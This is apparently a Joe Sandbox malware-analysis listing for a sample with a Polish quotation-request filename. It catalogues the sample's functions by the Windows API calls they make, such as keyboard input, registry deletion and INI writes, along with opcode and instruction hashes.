Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E

Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042CD00
GetOpenFileNameW.COMDLG32 ref: 0042CD51

Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,004A7D14,?,004A7D14,004A8E80,004A7D14,0040F3D2), ref: 0040FFCA

Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC

Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037

Strings

$OH, xrefs: 0042CD15
@OH, xrefs: 0042CD31
X, xrefs: 0042CD0D

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
String ID: $OH$@OH$X
API String ID: 3491138722-1394974532
Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A

Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
SetKeyboardState.USER32(00000080), ref: 0044C3ED
PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
SendInput.USER32 ref: 0044C509

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: KeyboardMessagePostState$InputSend
String ID:
API String ID: 3031425849-0
Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A

Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32 ref: 004422F0
RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
RegCloseKey.ADVAPI32(00000000), ref: 0044234E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Enum$CloseDeleteOpen
String ID:
API String ID: 2095303065-0
Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A

Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94

Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0044955A

Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC

SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
_wcslen.LIBCMT ref: 004495C1
_wcslen.LIBCMT ref: 004495CE
SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend_wcslen$_memset_wcspbrk
String ID:
API String ID: 1843234404-0
Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA

Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9

Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00447151
ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
SelectObject.GDI32(?,00000000), ref: 004471A2
BeginPath.GDI32(?), ref: 004471B7
SelectObject.GDI32(?,00000000), ref: 004471DC

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Object$Select$BeginCreateDeletePath
String ID:
API String ID: 2338827641-0
Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69

Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004175AE

Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82

__amsg_exit.LIBCMT ref: 004175CE
__lock.LIBCMT ref: 004175DE
InterlockedDecrement.KERNEL32(?), ref: 004175FB
InterlockedIncrement.KERNEL32(02F22D48), ref: 00417626

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE

Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$Icon
String ID:
API String ID: 4023252218-0
Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69

Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00460342
GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
MessageBeep.USER32(00000000), ref: 0046036D
KillTimer.USER32(?,0000040A), ref: 00460392
EndDialog.USER32(?,00000001), ref: 004603AB

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55

Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: DeleteDestroyObject$IconMessageSendWindow
String ID:
API String ID: 1489400265-0
Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68

Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE

DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
String ID:
API String ID: 1042038666-0
Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79

Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00433172
StrokeAndFillPath.GDI32(?), ref: 0043318A
StrokePath.GDI32(?), ref: 00433193
SelectObject.GDI32(?,00000000), ref: 004331A4
DeleteObject.GDI32(00000000), ref: 004331BA

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD

Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41

___set_flsgetvalue.LIBCMT ref: 004140E1

Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE

___fls_getvalue@4.LIBCMT ref: 004140EC

Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72

___fls_setvalue@8.LIBCMT ref: 004140FF

Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9

GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
ExitThread.KERNEL32 ref: 0041410F
GetCurrentThreadId.KERNEL32 ref: 00414115
__freefls@4.LIBCMT ref: 00414135
__IsNonwritableInCurrentImage.LIBCMT ref: 00414148

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 132634196-0
Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD

Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON

Download Yara Rule

APIs

__IsNonwritableInCurrentImage.LIBCMT ref: 00415610

Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B

__getptd_noexit.LIBCMT ref: 00415620
CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
__freeptd.LIBCMT ref: 0041563B
ExitThread.KERNEL32 ref: 00415643

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
String ID:
API String ID: 3798957060-0
Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD

Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41

___set_flsgetvalue.LIBCMT ref: 00415690

Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE

___fls_getvalue@4.LIBCMT ref: 0041569B

Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72

___fls_setvalue@8.LIBCMT ref: 004156AD

Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9

GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
ExitThread.KERNEL32 ref: 004156BD
__freefls@4.LIBCMT ref: 004156D9
__IsNonwritableInCurrentImage.LIBCMT ref: 004156EC

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 1537469427-0
Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D

Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON

Download Yara Rule

APIs

